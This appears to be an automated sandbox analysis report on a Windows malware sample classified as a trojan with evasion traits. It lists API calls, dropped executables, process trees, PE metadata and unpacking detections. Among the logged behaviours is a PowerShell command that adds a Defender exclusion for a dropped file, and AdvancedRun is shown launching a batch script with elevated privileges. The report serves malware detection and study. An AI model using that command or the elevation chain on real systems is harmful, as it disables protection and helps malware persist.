Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9520 ZwWaitForSingleObject,	24_2_6B4B9520
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52FD22 ZwQueryInformationProcess,RtlUniform,	24_2_6B52FD22
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	24_2_6B4A4D3B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52FDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B52FDD3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474DC0 RtlpUnWaitCriticalSection,RtlWakeAddressAllNoFence,RtlRaiseStatus,TpWaitForAlpcCompletion,RtlpUnWaitCriticalSection,ZwSetEvent,TpWaitForAlpcCompletion,ZwAlpcQueryInformation,	24_2_6B474DC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B95C0 ZwSetEvent,	24_2_6B4B95C0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49EDC4 ZwCancelWaitCompletionPacket,	24_2_6B49EDC4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4745D0 RtlGetThreadWorkOnBehalfTicket,RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread,	24_2_6B4745D0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B95D0 ZwClose,	24_2_6B4B95D0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52BDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	24_2_6B52BDFA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9DE0 ZwAssociateWaitCompletionPacket,	24_2_6B4B9DE0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4795F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMinThreads,	24_2_6B4795F0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B95F0 ZwQueryInformationFile,	24_2_6B4B95F0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData,	24_2_6B48DD80
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531582 ZwTraceEvent,	24_2_6B531582
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53B581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B53B581
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473591 ZwSetInformationFile,	24_2_6B473591
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4765A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,	24_2_6B4765A0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9DA0 ZwAlpcSendWaitReceivePort,	24_2_6B4B9DA0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B95B0 ZwSetInformationThread,	24_2_6B4B95B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9DB0 ZwAlpcSetInformation,	24_2_6B4B9DB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9C40 ZwAllocateVirtualMemoryEx,	24_2_6B4B9C40
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475450 RtlClearThreadWorkOnBehalfTicket,memcmp,RtlClearThreadWorkOnBehalfTicket,ZwSetInformationThread,	24_2_6B475450
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501C49 ZwQueryInformationProcess,	24_2_6B501C49
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548C75 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548C75
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	24_2_6B49746D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501C76 ZwQueryInformationProcess,	24_2_6B501C76
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AAC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,	24_2_6B4AAC7B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B523C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory,	24_2_6B523C60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B5C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory,	24_2_6B4B5C70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9C70 ZwAlpcConnectPort,	24_2_6B4B9C70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548C14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548C14
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531411 ZwTraceEvent,	24_2_6B531411
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B0413 ZwUnmapViewOfSection,	24_2_6B4B0413
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47E420 RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlpLoadUserUIByPolicy,ZwClose,	24_2_6B47E420
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BA420 ZwGetNlsSectionPtr,	24_2_6B4BA420
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49FC39 ZwAssociateWaitCompletionPacket,	24_2_6B49FC39
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548CD6
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACCC0 memcpy,RtlGetNtSystemRoot,RtlInitUnicodeString,memcpy,ZwOpenKey,ZwClose,ZwEnumerateKey,DbgPrintEx,DbgPrintEx,DbgPrintEx,	24_2_6B4ACCC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472CDB RtlFreeHeap,ZwClose,ZwSetEvent,	24_2_6B472CDB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	24_2_6B47F4E3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5314FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B5314FB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5264FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose,	24_2_6B5264FB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501CE4 ZwQueryInformationProcess,	24_2_6B501CE4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BA480 ZwInitializeNlsFiles,	24_2_6B4BA480
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F3C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString,	24_2_6B4F3C93
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47EC9B RtlInitUnicodeString,ZwOpenKey,RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlFreeHeap,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlAllocateHeap,RtlpLoadMachineUIByPolicy,ZwClose,	24_2_6B47EC9B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B549CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B549CB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B0CA1 ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,	24_2_6B4B0CA1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B544CAB ZwTraceControl,	24_2_6B544CAB
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 26_2_02A948D8 NtAllocateVirtualMemory,	26_2_02A948D8
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 26_2_02A948D0 NtAllocateVirtualMemory,	26_2_02A948D0

Source: 8615.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 77DC.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 66A4.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 152F.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: bejhieg.6.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: cnv622JnZv.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\jejhieg

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@41/20@58/8

Source: C:\Users\user\AppData\Local\Temp\66A4.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe

Code function: 25_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

25_2_00401306

Source: cnv622JnZv.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe

Code function: 25_2_0040A33B FindResourceW,SizeofResource,LoadResource,LockResource,

25_2_0040A33B

Source: C:\Users\user\Desktop\cnv622JnZv.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\cnv622JnZv.exe 'C:\Users\user\Desktop\cnv622JnZv.exe'
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Process created: C:\Users\user\Desktop\cnv622JnZv.exe 'C:\Users\user\Desktop\cnv622JnZv.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jejhieg C:\Users\user\AppData\Roaming\jejhieg
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C5EA.exe C:\Users\user\AppData\Local\Temp\C5EA.exe
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Process created: C:\Users\user\AppData\Local\Temp\C5EA.exe C:\Users\user\AppData\Local\Temp\C5EA.exe
Source: C:\Users\user\AppData\Roaming\jejhieg	Process created: C:\Users\user\AppData\Roaming\jejhieg C:\Users\user\AppData\Roaming\jejhieg
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\66A4.exe C:\Users\user\AppData\Local\Temp\66A4.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\77DC.exe C:\Users\user\AppData\Local\Temp\77DC.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8615.exe C:\Users\user\AppData\Local\Temp\8615.exe
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\977B.exe C:\Users\user\AppData\Local\Temp\977B.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A557.exe C:\Users\user\AppData\Local\Temp\A557.exe
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /SpecialRun 4101d8 4380
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B084.exe C:\Users\user\AppData\Local\Temp\B084.exe
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process created: C:\Users\user\AppData\Local\Temp\977B.exe 977B.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\152F.exe C:\Users\user\AppData\Local\Temp\152F.exe
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2E26.exe C:\Users\user\AppData\Local\Temp\2E26.exe
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\977B.exe 'C:\Users\user\AppData\Local\Temp\977B.exe'
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process created: C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Process created: C:\Users\user\Desktop\cnv622JnZv.exe 'C:\Users\user\Desktop\cnv622JnZv.exe'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C5EA.exe C:\Users\user\AppData\Local\Temp\C5EA.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\66A4.exe C:\Users\user\AppData\Local\Temp\66A4.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\77DC.exe C:\Users\user\AppData\Local\Temp\77DC.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8615.exe C:\Users\user\AppData\Local\Temp\8615.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\977B.exe C:\Users\user\AppData\Local\Temp\977B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A557.exe C:\Users\user\AppData\Local\Temp\A557.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jejhieg	Process created: C:\Users\user\AppData\Roaming\jejhieg C:\Users\user\AppData\Roaming\jejhieg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Process created: C:\Users\user\AppData\Local\Temp\C5EA.exe C:\Users\user\AppData\Local\Temp\C5EA.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\66A4.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe' /SpecialRun 4101d8 4380	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process created: C:\Users\user\AppData\Local\Temp\977B.exe 977B.exe
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process created: C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Code function: 25_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		25_2_00408FC9
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Code function: 30_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		30_2_00408FC9

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\C5EA.tmp

Jump to behavior

Source: A557.exe, 0000001D.00000000.427496231.00000000002D2000.00000002.00020000.sdmp	Binary or memory string: INSERT INTO [dbo].[Details] ([Employee Id], [Title], [First Name], [Last Name], [Email], [Phone Number], [Hire Date], [Date of Birth], [Basic Pay], [House Rental Allowance], [Dearness Allowance], [Provident Fund], [Date of Leaving], [Grade]) VALUES (@Employee_Id, @Title, @First_Name, @Last_Name, @Email, @Phone_Number, @Hire_Date, @Date_of_Birth, @Basic_Pay, @House_Rental_Allowance, @Dearness_Allowance, @Provident_Fund, @Date_of_Leaving, @Grade);
Source: A557.exe, 0000001D.00000000.427496231.00000000002D2000.00000002.00020000.sdmp	Binary or memory string: UPDATE [dbo].[Details] SET [Employee Id] = @Employee_Id, [Title] = @Title, [First Name] = @First_Name, [Last Name] = @Last_Name, [Email] = @Email, [Phone Number] = @Phone_Number, [Hire Date] = @Hire_Date, [Date of Birth] = @Date_of_Birth, [Basic Pay] = @Basic_Pay, [House Rental Allowance] = @House_Rental_Allowance, [Dearness Allowance] = @Dearness_Allowance, [Provident Fund] = @Provident_Fund, [Date of Leaving] = @Date_of_Leaving, [Grade] = @Grade WHERE (([Employee Id] = @Original_Employee_Id) AND ([Title] = @Original_Title) AND ([First Name] = @Original_First_Name) AND ([Last Name] = @Original_Last_Name) AND ((@IsNull_Phone_Number = 1 AND [Phone Number] IS NULL) OR ([Phone Number] = @Original_Phone_Number)) AND ([Hire Date] = @Original_Hire_Date) AND ([Date of Birth] = @Original_Date_of_Birth) AND ([Basic Pay] = @Original_Basic_Pay) AND ((@IsNull_House_Rental_Allowance = 1 AND [House Rental Allowance] IS NULL) OR ([House Rental Allowance] = @Original_House_Rental_Allowance)) AND ((@IsNull_Dearness_Allowance = 1 AND [Dearness Allowance] IS NULL) OR ([Dearness Allowance] = @Original_Dearness_Allowance)) AND ((@IsNull_Provident_Fund = 1 AND [Provident Fund] IS NULL) OR ([Provident Fund] = @Original_Provident_Fund)) AND ((@IsNull_Date_of_Leaving = 1 AND [Date of Leaving] IS NULL) OR ([Date of Leaving] = @Original_Date_of_Leaving)) AND ([Grade] = @Original_Grade));

Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe

Code function: 25_2_004095FD CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

25_2_004095FD

Source: 977B.exe.6.dr, ??????????????/_?????xptkvqfesn.cs

Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\66A4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A557.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\A557.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\152F.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\152F.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\66A4.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8615.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: cnv622JnZv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: cnv622JnZv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: cnv622JnZv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: cnv622JnZv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: cnv622JnZv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: cnv622JnZv.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: cnv622JnZv.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\vojos\fuw.pdb source: 8615.exe, 00000018.00000000.413528464.0000000000417000.00000002.00020000.sdmp
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 00000019.00000000.418963154.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000001E.00000000.426329937.000000000040C000.00000002.00020000.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: 977B.exe
Source:	Binary string: C:\wucalehozojoh\setujupiwe-y.pdb source: C5EA.exe, 00000011.00000000.349456240.0000000000401000.00000020.00020000.sdmp, C5EA.exe, 00000012.00000000.364889434.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: C:\zowazaxopomuh-39\t.pdb source: cnv622JnZv.exe, 00000000.00000000.243398633.0000000000401000.00000020.00020000.sdmp, cnv622JnZv.exe, 00000003.00000000.254610819.0000000000401000.00000020.00020000.sdmp, jejhieg, 00000010.00000000.348546236.0000000000401000.00000020.00020000.sdmp, jejhieg, 00000013.00000000.368105637.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 8615.exe, 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdb source: 8615.exe
Source:	Binary string: DC:\zowazaxopomuh-39\t.pdb source: cnv622JnZv.exe, 00000000.00000000.243398633.0000000000401000.00000020.00020000.sdmp, cnv622JnZv.exe, 00000003.00000000.254610819.0000000000401000.00000020.00020000.sdmp, jejhieg, 00000010.00000000.348546236.0000000000401000.00000020.00020000.sdmp, jejhieg, 00000013.00000000.368105637.0000000000401000.00000020.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\152F.exe	Unpacked PE file: 35.2.152F.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\152F.exe	Unpacked PE file: 35.2.152F.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8615.exe	Unpacked PE file: 24.2.8615.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cipizi:R;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\152F.exe	Unpacked PE file: 35.2.152F.exe.400000.0.unpack .text:ER;.data:W;.rulofiv:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 0_2_02EC1118 push ds; ret	0_2_02EC1125
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Code function: 23_2_00A7D37C push esi; iretd	23_2_00A7D388
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402E54 push eax; ret	24_2_00402EB3
